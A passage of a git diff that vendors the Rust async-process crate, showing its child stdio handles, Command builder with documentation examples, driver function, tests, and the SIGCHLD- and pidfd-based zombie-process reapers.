ChildStdin( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStdin { + /// Convert async_process::ChildStdin into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// + /// let mut ls_child = Command::new("ls").stdin(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stdin.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").arg("./").stdout(stdio).spawn()?; + /// + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stdin = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stdin))?; + Ok(child_stdin.into()) + } + } + } +} + +impl io::AsyncWrite for ChildStdin { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut self.0).poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut self.0).poll_close(cx) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStdin { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStdin { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStdin) -> Result { + value.0.try_into() + } +} + +// TODO(notgull): Add mirroring AsRawHandle impls for all of the child handles +// +// at the moment this is pretty hard to do because of how they're wrapped in +// Unblock, meaning that we can't always access the underlying handle. async-fs +// gets around this by putting the handle in an Arc, but there's still some decision +// to be made about how to handle this (no pun intended) + +/// A handle to a child process's standard output (stdout). +/// +/// When a [`ChildStdout`] is dropped, the underlying handle gets closed. +#[derive(Debug)] +pub struct ChildStdout( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStdout { + /// Convert async_process::ChildStdout into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// use std::io::Read; + /// use futures_lite::AsyncReadExt; + /// + /// let mut ls_child = Command::new("ls").stdout(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stdout.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").stdin(stdio).stdout(Stdio::piped()).spawn()?; + /// let mut buf = vec![]; + /// echo_child.stdout.take().unwrap().read(&mut buf).await; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stdout = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stdout))?; + Ok(child_stdout.into()) + } + } + } +} + +impl io::AsyncRead for ChildStdout { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_read(cx, buf) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStdout { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStdout { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStdout) -> Result { + value.0.try_into() + } +} + +/// A handle to a child process's standard error (stderr). +/// +/// When a [`ChildStderr`] is dropped, the underlying handle gets closed. +#[derive(Debug)] +pub struct ChildStderr( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStderr { + /// Convert async_process::ChildStderr into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// + /// let mut ls_child = Command::new("ls").arg("x").stderr(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stderr.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").stdin(stdio).spawn()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stderr = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stderr))?; + Ok(child_stderr.into()) + } + } + } +} + +impl io::AsyncRead for ChildStderr { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_read(cx, buf) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStderr { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStderr { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStderr) -> Result { + value.0.try_into() + } +} + +/// Runs the driver for the asynchronous processes. +/// +/// This future takes control of global structures related to driving [`Child`]ren and reaping +/// zombie processes. These responsibilities include listening for the `SIGCHLD` signal and +/// making sure zombie processes are successfully waited on. +/// +/// If multiple tasks run `driver()` at once, only one will actually drive the reaper; the other +/// ones will just sleep. If a task that is driving the reaper is dropped, a previously sleeping +/// task will take over. If all tasks driving the reaper are dropped, the "async-process" thread +/// will be spawned. The "async-process" thread just blocks on this future and will automatically +/// be spawned if no tasks are driving the reaper once a [`Child`] is created. +/// +/// This future will never complete. It is intended to be ran on a background task in your +/// executor of choice. +/// +/// # Examples +/// +/// ```no_run +/// use async_executor::Executor; +/// use async_process::{driver, Command}; +/// +/// # futures_lite::future::block_on(async { +/// // Create an executor and run on it. +/// let ex = Executor::new(); +/// ex.run(async { +/// // Run the driver future in the background. +/// ex.spawn(driver()).detach(); +/// +/// // Run a command. +/// Command::new("ls").output().await.ok(); +/// }).await; +/// # }); +/// ``` +#[allow(clippy::manual_async_fn)] +#[inline] +pub fn driver() -> impl Future + Send + 'static { + async { + // Get the reaper. + let reaper = Reaper::get(); + + // Make sure the reaper knows we're driving it. + reaper.drivers.fetch_add(1, Ordering::SeqCst); + + // Decrement the driver count when this future is dropped. + let _guard = CallOnDrop(|| { + let prev_count = reaper.drivers.fetch_sub(1, Ordering::SeqCst); + + // If this was the last driver, and there are still resources actively using the + // reaper, make sure that there is a thread driving the reaper. + if prev_count == 1 + && (reaper.child_count.load(Ordering::SeqCst) > 0 || reaper.sys.has_zombies()) + { + reaper.ensure_driven(); + } + }); + + // Acquire the reaper lock and start polling the SIGCHLD event. + let guard = reaper.sys.lock().await; + reaper.sys.reap(guard).await + } +} + +/// A builder for spawning processes. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use async_process::Command; +/// +/// let output = if cfg!(target_os = "windows") { +/// Command::new("cmd").args(&["/C", "echo hello"]).output().await? +/// } else { +/// Command::new("sh").arg("-c").arg("echo hello").output().await? +/// }; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Command { + inner: std::process::Command, + stdin: bool, + stdout: bool, + stderr: bool, + reap_on_drop: bool, + kill_on_drop: bool, +} + +impl Command { + /// Constructs a new [`Command`] for launching `program`. + /// + /// The initial configuration (the working directory and environment variables) is inherited + /// from the current process. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// ``` + pub fn new>(program: S) -> Command { + Self::from(std::process::Command::new(program)) + } + + /// Adds a single argument to pass to the program. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.arg("hello"); + /// cmd.arg("world"); + /// ``` + pub fn arg>(&mut self, arg: S) -> &mut Command { + self.inner.arg(arg); + self + } + + /// Adds multiple arguments to pass to the program. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.args(&["hello", "world"]); + /// ``` + pub fn args(&mut self, args: I) -> &mut Command + where + I: IntoIterator, + S: AsRef, + { + self.inner.args(args); + self + } + + /// Configures an environment variable for the new process. + /// + /// Note that environment variable names are case-insensitive (but case-preserving) on Windows, + /// and case-sensitive on all other platforms. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env("PATH", "/bin"); + /// ``` + pub fn env(&mut self, key: K, val: V) -> &mut Command + where + K: AsRef, + V: AsRef, + { + self.inner.env(key, val); + self + } + + /// Configures multiple environment variables for the new process. + /// + /// Note that environment variable names are case-insensitive (but case-preserving) on Windows, + /// and case-sensitive on all other platforms. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.envs(vec![("PATH", "/bin"), ("TERM", "xterm-256color")]); + /// ``` + pub fn envs(&mut self, vars: I) -> &mut Command + where + I: IntoIterator, + K: AsRef, + V: AsRef, + { + self.inner.envs(vars); + self + } + + /// Gets an iterator of the arguments that will be passed to the program. + /// + /// # Examples + /// + /// ``` + /// use std::ffi::OsStr; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.arg("first").arg("second"); + /// let args: Vec<&OsStr> = cmd.get_args().collect(); + /// assert_eq!(args, &["first", "second"]); + /// ``` + pub fn get_args(&self) -> std::process::CommandArgs<'_> { + self.inner.get_args() + } + + /// Gets an iterator of the environment variables explicitly set for the child process. + /// + /// # Examples + /// + /// ``` + /// use std::ffi::OsStr; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env("TERM", "dumb").env_remove("TZ"); + /// let envs: Vec<(&OsStr, Option<&OsStr>)> = cmd.get_envs().collect(); + /// assert_eq!(envs, &[ + /// (OsStr::new("TERM"), Some(OsStr::new("dumb"))), + /// (OsStr::new("TZ"), None) + /// ]); + /// ``` + pub fn get_envs(&self) -> std::process::CommandEnvs<'_> { + self.inner.get_envs() + } + + /// Gets the working directory for the child process. + /// + /// This returns [`None`] if the working directory will not be changed. + /// + /// # Examples + /// + /// ``` + /// use std::path::Path; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// assert_eq!(cmd.get_current_dir(), None); + /// cmd.current_dir("/bin"); + /// assert_eq!(cmd.get_current_dir(), Some(Path::new("/bin"))); + /// ``` + pub fn get_current_dir(&self) -> Option<&Path> { + self.inner.get_current_dir() + } + + /// Gets the path to the program that was given to [`Command::new`]. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let cmd = Command::new("echo"); + /// assert_eq!(cmd.get_program(), "echo"); + /// ``` + pub fn get_program(&self) -> &OsStr { + self.inner.get_program() + } + + /// Removes an environment variable mapping. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env_remove("PATH"); + /// ``` + pub fn env_remove>(&mut self, key: K) -> &mut Command { + self.inner.env_remove(key); + self + } + + /// Removes all environment variable mappings. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env_clear(); + /// ``` + pub fn env_clear(&mut self) -> &mut Command { + self.inner.env_clear(); + self + } + + /// Configures the working directory for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.current_dir("/"); + /// ``` + pub fn current_dir>(&mut self, dir: P) -> &mut Command { + self.inner.current_dir(dir); + self + } + + /// Configures the standard input (stdin) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.stdin(Stdio::null()); + /// ``` + pub fn stdin>(&mut self, cfg: T) -> &mut Command { + self.stdin = true; + self.inner.stdin(cfg); + self + } + + /// Configures the standard output (stdout) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.stdout(Stdio::piped()); + /// ``` + pub fn stdout>(&mut self, cfg: T) -> &mut Command { + self.stdout = true; + self.inner.stdout(cfg); + self + } + + /// Configures the standard error (stderr) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.stderr(Stdio::piped()); + /// ``` + pub fn stderr>(&mut self, cfg: T) -> &mut Command { + self.stderr = true; + self.inner.stderr(cfg); + self + } + + /// Configures whether to reap the zombie process when [`Child`] is dropped. + /// + /// When the process finishes, it becomes a "zombie" and some resources associated with it + /// remain until [`Child::try_status()`], [`Child::status()`], or [`Child::output()`] collects + /// its exit code. + /// + /// If its exit code is never collected, the resources may leak forever. This crate has a + /// background thread named "async-process" that collects such "zombie" processes and then + /// "reaps" them, thus preventing the resource leaks. + /// + /// The default value of this option is `true`. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.reap_on_drop(false); + /// ``` + pub fn reap_on_drop(&mut self, reap_on_drop: bool) -> &mut Command { + self.reap_on_drop = reap_on_drop; + self + } + + /// Configures whether to kill the process when [`Child`] is dropped. + /// + /// The default value of this option is `false`. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.kill_on_drop(true); + /// ``` + pub fn kill_on_drop(&mut self, kill_on_drop: bool) -> &mut Command { + self.kill_on_drop = kill_on_drop; + self + } + + /// Executes the command and returns the [`Child`] handle to it. + /// + /// If not configured, stdin, stdout and stderr will be set to [`Stdio::inherit()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let child = Command::new("ls").spawn()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn spawn(&mut self) -> io::Result { + if !self.stdin { + self.inner.stdin(Stdio::inherit()); + } + if !self.stdout { + self.inner.stdout(Stdio::inherit()); + } + if !self.stderr { + self.inner.stderr(Stdio::inherit()); + } + + Child::new(self) + } + + /// Executes the command, waits for it to exit, and returns the exit status. + /// + /// If not configured, stdin, stdout and stderr will be set to [`Stdio::inherit()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let status = Command::new("cp") + /// .arg("a.txt") + /// .arg("b.txt") + /// .status() + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn status(&mut self) -> impl Future> { + let child = self.spawn(); + async { child?.status().await } + } + + /// Executes the command and collects its output. + /// + /// If not configured, stdin will be set to [`Stdio::null()`], and stdout and stderr will be + /// set to [`Stdio::piped()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let output = Command::new("cat") + /// .arg("a.txt") + /// .output() + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn output(&mut self) -> impl Future> { + if !self.stdin { + self.inner.stdin(Stdio::null()); + } + if !self.stdout { + self.inner.stdout(Stdio::piped()); + } + if !self.stderr { + self.inner.stderr(Stdio::piped()); + } + + let child = Child::new(self); + async { child?.output().await } + } +} + +impl From for Command { + fn from(inner: std::process::Command) -> Self { + Self { + inner, + stdin: false, + stdout: false, + stderr: false, + reap_on_drop: true, + kill_on_drop: false, + } + } +} + +impl fmt::Debug for Command { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + if f.alternate() { + f.debug_struct("Command") + .field("inner", &self.inner) + .field("stdin", &self.stdin) + .field("stdout", &self.stdout) + .field("stderr", &self.stderr) + .field("reap_on_drop", &self.reap_on_drop) + .field("kill_on_drop", &self.kill_on_drop) + .finish() + } else { + // Stdlib outputs command-line in Debug for Command. This does the + // same, if not in "alternate" (long pretty-printed) mode. + // This is useful for logs, for example. + fmt::Debug::fmt(&self.inner, f) + } + } +} + +/// Moves `Fd` out of non-blocking mode. +#[cfg(unix)] +fn blocking_fd(fd: rustix::fd::BorrowedFd<'_>) -> io::Result<()> { + cfg_if::cfg_if! { + // ioctl(FIONBIO) sets the flag atomically, but we use this only on Linux + // for now, as with the standard library, because it seems to behave + // differently depending on the platform. + // https://github.com/rust-lang/rust/commit/efeb42be2837842d1beb47b51bb693c7474aba3d + // https://github.com/libuv/libuv/blob/e9d91fccfc3e5ff772d5da90e1c4a24061198ca0/src/unix/poll.c#L78-L80 + // https://github.com/tokio-rs/mio/commit/0db49f6d5caf54b12176821363d154384357e70a + if #[cfg(target_os = "linux")] { + rustix::io::ioctl_fionbio(fd, false)?; + } else { + let previous = rustix::fs::fcntl_getfl(fd)?; + let new = previous & !rustix::fs::OFlags::NONBLOCK; + if new != previous { + rustix::fs::fcntl_setfl(fd, new)?; + } + } + } + Ok(()) +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} + +#[cfg(test)] +mod test { + #[test] + fn polled_driver() { + use super::{driver, Command}; + use futures_lite::future; + use futures_lite::prelude::*; + + let is_thread_spawned = + || super::DRIVER_THREAD_SPAWNED.load(std::sync::atomic::Ordering::SeqCst); + + #[cfg(unix)] + fn command() -> Command { + let mut cmd = Command::new("sh"); + cmd.arg("-c").arg("echo hello"); + cmd + } + + #[cfg(windows)] + fn command() -> Command { + let mut cmd = Command::new("cmd"); + cmd.arg("/C").arg("echo hello"); + cmd + } + + #[cfg(unix)] + const OUTPUT: &[u8] = b"hello\n"; + #[cfg(windows)] + const OUTPUT: &[u8] = b"hello\r\n"; + + future::block_on(async { + // Thread should not be spawned off the bat. + assert!(!is_thread_spawned()); + + // Spawn a driver. + let mut driver1 = Box::pin(driver()); + future::poll_once(&mut driver1).await; + assert!(!is_thread_spawned()); + + // We should be able to run the driver in parallel with a process future. + async { + (&mut driver1).await; + } + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Spawn a second driver. + let mut driver2 = Box::pin(driver()); + future::poll_once(&mut driver2).await; + assert!(!is_thread_spawned()); + + // Poll both drivers in parallel. + async { + (&mut driver1).await; + } + .or(async { + (&mut driver2).await; + }) + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Once one is dropped, the other should take over. + drop(driver1); + assert!(!is_thread_spawned()); + + // Poll driver2 in parallel with a process future. + async { + (&mut driver2).await; + } + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Once driver2 is dropped, the thread should not be spawned, as there are no active + // child processes.. + drop(driver2); + assert!(!is_thread_spawned()); + + // We should now be able to poll the process future independently, it will spawn the + // thread. + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + assert!(is_thread_spawned()); + }); + } +} diff --git a/lib/malio/async-process/src/reaper/mod.rs b/lib/malio/async-process/src/reaper/mod.rs new file mode 100644 index 0000000..f8daf3e --- /dev/null +++ b/lib/malio/async-process/src/reaper/mod.rs @@ -0,0 +1,231 @@ +//! The underlying system reaper. +//! +//! There are two backends: +//! +//! - signal, which waits for SIGCHLD. +//! - wait, which waits directly on a process handle. +//! +//! "wait" is preferred, but is not available on all supported Linuxes. So we +//! test to see if pidfd is supported first. If it is, we use wait. If not, we use +//! signal. + +#![allow(irrefutable_let_patterns)] + +/// Enable the waiting reaper. +#[cfg(any(windows, target_os = "linux"))] +macro_rules! cfg_wait { + ($($tt:tt)*) => {$($tt)*}; +} + +/// Enable the waiting reaper. +#[cfg(not(any(windows, target_os = "linux")))] +macro_rules! cfg_wait { + ($($tt:tt)*) => {}; +} + +/// Enable signals. +#[cfg(not(windows))] +macro_rules! cfg_signal { + ($($tt:tt)*) => {$($tt)*}; +} + +/// Enable signals. +#[cfg(windows)] +macro_rules! cfg_signal { + ($($tt:tt)*) => {}; +} + +cfg_wait! { + mod wait; +} + +cfg_signal! { + mod signal; +} + +use std::io; +use std::sync::Mutex; + +/// The underlying system reaper. +pub(crate) enum Reaper { + #[cfg(any(windows, target_os = "linux"))] + /// The reaper based on the wait backend. + Wait(wait::Reaper), + + /// The reaper based on the signal backend. + #[cfg(not(windows))] + Signal(signal::Reaper), +} + +/// The wrapper around a child. +pub(crate) enum ChildGuard { + #[cfg(any(windows, target_os = "linux"))] + /// The child guard based on the wait backend. + Wait(wait::ChildGuard), + + /// The child guard based on the signal backend. + #[cfg(not(windows))] + Signal(signal::ChildGuard), +} + +/// A lock on the reaper. +pub(crate) enum Lock { + #[cfg(any(windows, target_os = "linux"))] + /// The wait-based reaper needs no lock. + Wait, + + /// The lock for the signal-based reaper. + #[cfg(not(windows))] + Signal(signal::Lock), +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + cfg_wait! { + if wait::available() && !cfg!(async_process_force_signal_backend) { + return Self::Wait(wait::Reaper::new()); + } + } + + // Return the signal-based reaper. + cfg_signal! { + return Self::Signal(signal::Reaper::new()); + } + + #[allow(unreachable_code)] + { + panic!("neither the signal backend nor the waiter backend is available") + } + } + + /// Lock the driver thread. + /// + /// This makes it so only one thread can reap at once. + pub(crate) async fn lock(&'static self) -> Lock { + cfg_wait! { + if let Self::Wait(_this) = self { + // No locking needed. + return Lock::Wait; + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + // We need to lock. + return Lock::Signal(this.lock().await); + } + } + + unreachable!() + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self, lock: Lock) -> ! { + cfg_wait! { + if let (Self::Wait(this), Lock::Wait) = (self, &lock) { + this.reap().await; + } + } + + cfg_signal! { + if let (Self::Signal(this), Lock::Signal(lock)) = (self, lock) { + this.reap(lock).await; + } + } + + unreachable!() + } + + /// Register a child into this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + cfg_wait! { + if let Self::Wait(this) = self { + return this.register(child).map(ChildGuard::Wait); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.register(child).map(ChildGuard::Signal); + } + } + + unreachable!() + } + + /// Wait for the inner child to complete. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + cfg_wait! { + if let Self::Wait(this) = self { + return this.status(child).await; + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.status(child).await; + } + } + + unreachable!() + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + cfg_wait! { + if let Self::Wait(this) = self { + return this.has_zombies(); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.has_zombies(); + } + } + + unreachable!() + } +} + +impl ChildGuard { + /// Get a reference to the inner process. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + cfg_wait! { + if let Self::Wait(this) = self { + return this.get_mut(); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.get_mut(); + } + } + + unreachable!() + } + + /// Start reaping this child process. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + cfg_wait! { + if let (Self::Wait(this), Reaper::Wait(reaper)) = (&mut *self, reaper) { + this.reap(reaper); + return; + } + } + + cfg_signal! { + if let (Self::Signal(this), Reaper::Signal(reaper)) = (self, reaper) { + this.reap(reaper); + return; + } + } + + unreachable!() + } +} diff --git a/lib/malio/async-process/src/reaper/signal.rs b/lib/malio/async-process/src/reaper/signal.rs new file mode 100644 index 0000000..6562c2a --- /dev/null +++ b/lib/malio/async-process/src/reaper/signal.rs @@ -0,0 +1,169 @@ +//! A version of the reaper that waits for a signal to check for process progress. + +use async_lock::{Mutex as AsyncMutex, MutexGuard as AsyncMutexGuard}; +use async_signal::{Signal, Signals}; +use event_listener::Event; +use futures_lite::{future, prelude::*}; + +use std::io; +use std::mem; +use std::sync::Mutex; + +pub(crate) type Lock = AsyncMutexGuard<'static, ()>; + +/// The zombie process reaper. +pub(crate) struct Reaper { + /// An event delivered every time the SIGCHLD signal occurs. + sigchld: Event, + + /// The list of zombie processes. + zombies: Mutex>, + + /// The pipe that delivers signal notifications. + pipe: Pipe, + + /// Locking this mutex indicates that we are polling the SIGCHLD event. + driver_guard: AsyncMutex<()>, +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + Reaper { + sigchld: Event::new(), + zombies: Mutex::new(Vec::new()), + pipe: Pipe::new().expect("cannot create SIGCHLD pipe"), + driver_guard: AsyncMutex::new(()), + } + } + + /// Lock the driver thread. + pub(crate) async fn lock(&self) -> AsyncMutexGuard<'_, ()> { + self.driver_guard.lock().await + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self, _driver_guard: async_lock::MutexGuard<'_, ()>) -> ! { + loop { + // Wait for the next SIGCHLD signal. + self.pipe.wait().await; + + // Notify all listeners waiting on the SIGCHLD event. + self.sigchld.notify(usize::MAX); + + // Reap zombie processes, but make sure we don't hold onto the lock for too long! + let mut zombies = mem::take(&mut *self.zombies.lock().unwrap()); + let mut i = 0; + 'reap_zombies: loop { + for _ in 0..50 { + if i >= zombies.len() { + break 'reap_zombies; + } + + if let Ok(None) = zombies[i].try_wait() { + i += 1; + } else { + #[allow(clippy::zombie_processes)] // removed only when process done or errored + zombies.swap_remove(i); + } + } + + // Be a good citizen; yield if there are a lot of processes. + // + // After we yield, check if there are more zombie processes. + future::yield_now().await; + zombies.append(&mut self.zombies.lock().unwrap()); + } + + // Put zombie processes back. + self.zombies.lock().unwrap().append(&mut zombies); + } + } + + /// Register a process with this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + self.pipe.register(&child)?; + Ok(ChildGuard { inner: Some(child) }) + } + + /// Wait for an event to occur for a child process. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + loop { + // Wait on the child process. + if let Some(status) = child.lock().unwrap().get_mut().try_wait()? { + return Ok(status); + } + + // Start listening. + event_listener::listener!(self.sigchld => listener); + + // Try again. + if let Some(status) = child.lock().unwrap().get_mut().try_wait()? { + return Ok(status); + } + + // Wait on the listener. + listener.await; + } + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + !self + .zombies + .lock() + .unwrap_or_else(|x| x.into_inner()) + .is_empty() + } +} + +/// The wrapper around the child. +pub(crate) struct ChildGuard { + inner: Option, +} + +impl ChildGuard { + /// Get a mutable reference to the inner child. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.as_mut().unwrap() + } + + /// Begin the reaping process for this child. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + if let Ok(None) = self.get_mut().try_wait() { + reaper + .zombies + .lock() + .unwrap() + .push(self.inner.take().unwrap()); + } + } +} + +/// Waits for the next SIGCHLD signal. +struct Pipe { + /// The iterator over SIGCHLD signals. + signals: Signals, +} + +impl Pipe { + /// Creates a new pipe. + fn new() -> io::Result { + Ok(Pipe { + signals: Signals::new(Some(Signal::Child))?, + }) + } + + /// Waits for the next SIGCHLD signal. + async fn wait(&self) { + (&self.signals).next().await; + } + + /// Register a process object into this pipe. + fn register(&self, _child: &std::process::Child) -> io::Result<()> { + Ok(()) + } +} diff --git a/lib/malio/async-process/src/reaper/wait.rs b/lib/malio/async-process/src/reaper/wait.rs new file mode 100644 index 0000000..5531234 --- /dev/null +++ b/lib/malio/async-process/src/reaper/wait.rs @@ -0,0 +1,227 @@ +//! A version of the reaper that waits on some polling primitive. +//! +//! This uses: +//! +//! - pidfd on Linux +//! - Waitable objects on Windows + +use async_channel::{Receiver, Sender}; +use async_task::Runnable; +use futures_lite::future; + +use std::io; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::Mutex; +use std::task::{Context, Poll}; + +/// The zombie process reaper. +pub(crate) struct Reaper { + /// The channel for sending new runnables. + sender: Sender, + + /// The channel for receiving new runnables. + recv: Receiver, + + /// Number of zombie processes. + zombies: AtomicUsize, +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + let (sender, recv) = async_channel::unbounded(); + Self { + sender, + recv, + zombies: AtomicUsize::new(0), + } + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self) -> ! { + loop { + // Fetch the next task. + let task = match self.recv.recv().await { + Ok(task) => task, + Err(_) => panic!("sender should never be closed"), + }; + + // Poll the task. + task.run(); + } + } + + /// Register a child into this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + Ok(ChildGuard { + inner: Some(WaitableChild::new(child)?), + }) + } + + /// Wait for a child to complete. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + future::poll_fn(|cx| { + // Lock the child. + let mut child = child.lock().unwrap(); + + // Get the inner child value. + #[allow(clippy::infallible_destructuring_match)] // false positive: should respect cfg + let inner = match &mut child.inner { + super::ChildGuard::Wait(inner) => inner, + #[cfg(not(windows))] + _ => unreachable!(), + }; + + // Poll for the next value. + inner.inner.as_mut().unwrap().poll_wait(cx) + }) + .await + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + self.zombies.load(Ordering::SeqCst) > 0 + } +} + +/// The wrapper around the child. +pub(crate) struct ChildGuard { + inner: Option, +} + +impl ChildGuard { + /// Get 